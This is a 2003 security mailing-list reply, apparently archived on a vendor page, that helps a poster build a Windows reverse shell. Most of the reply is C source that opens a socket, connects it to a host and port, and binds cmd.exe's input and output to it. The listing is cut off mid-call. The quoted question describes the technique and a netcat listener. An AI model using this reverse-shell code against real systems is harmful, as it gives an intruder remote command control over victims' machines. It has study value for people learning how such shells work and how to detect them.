Re: Windows reverse Shell

Dear NetNinja,

Code below successfully brings reverse shell to 127.0.0.1:7777.

#include <windows.h>
#include <winsock2.h>
#include <stdio.h>

int main(int argc, char* argv[]){
 WSADATA wd;
 HANDLE h;
 SOCKET sock;
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 struct sockaddr_in sin;
 int size = sizeof(sin);

 memset(&sin, 0, sizeof(sin));
 memset(&si, 0, sizeof(si));
 WSAStartup(MAKEWORD( 1, 1 ), &wd);
 sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);  sin.sin_family = AF_INET;
 bind(sock, (struct sockaddr*)&sin, size);  sin.sin_port = htons(7777);
 sin.sin_addr.s_addr = inet_addr("127.0.0.1");  connect(sock, (struct sockaddr*)&sin, size);

 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESTDHANDLES;
 si.hStdInput = si.hStdOutput = si.hStdError = sock;
 CreateProcess(
        NULL,
        "cmd.exe",
        NULL,
        NULL,
        TRUE,
        0,
        0,
        NULL,
        &si,
        &pi

--Monday, February 3, 2003, 10:37:45 PM, you wrote to vuln-dev@securityfocus.com:

N> Hello guys,

N> David Litchfield in his Blackhat talk, talked about using socket handle
N> from WSASocket() and pass that handle as a parameter to stdin, stdout
N> and stderr for CreateProcess function. By doin this way his reverse
N> cmd shellcode becomes much smaller. I tried coding that reverse
N> command shell in C, but couldnt get it to work. It simply connects to
N> my listening netcat listener and then disconnects. David Litchfield
N> used 4 functions to achieva that WSASocket, bind, connect and
N> CreateProcess. A lil help would b appreciated on building this reverse
N> cmd shell. thanx.
  

-- 
~/ZARAZA
Ïî÷òåííûå èñêîïàåìûå! Æäó îò âàñ äàëüíåéøèõ ïèñåì.  (Òâåí)

Do you need help?

In addition to our free technical library, Pantek provides professional IT services to companies who utilize Open Source software: Learn more about Pantek's Technical Support offerings Place an order for 24/7/365 Technical Support here Learn more about Pantek, who we are, and what we do Chat with a Live Operator Related securityfocus.com Links bugtraq certification focus-bsd focus-ids focus-ih focus-linux focus-ms focus-sun focus-unix-other focus-virus forensics incidents libnet linux-secnews ms-secnews pen-test secpapers secprog sectools secureshell security-basics securityjobs sf-news vuln-dev webappsec Request more information about Pantek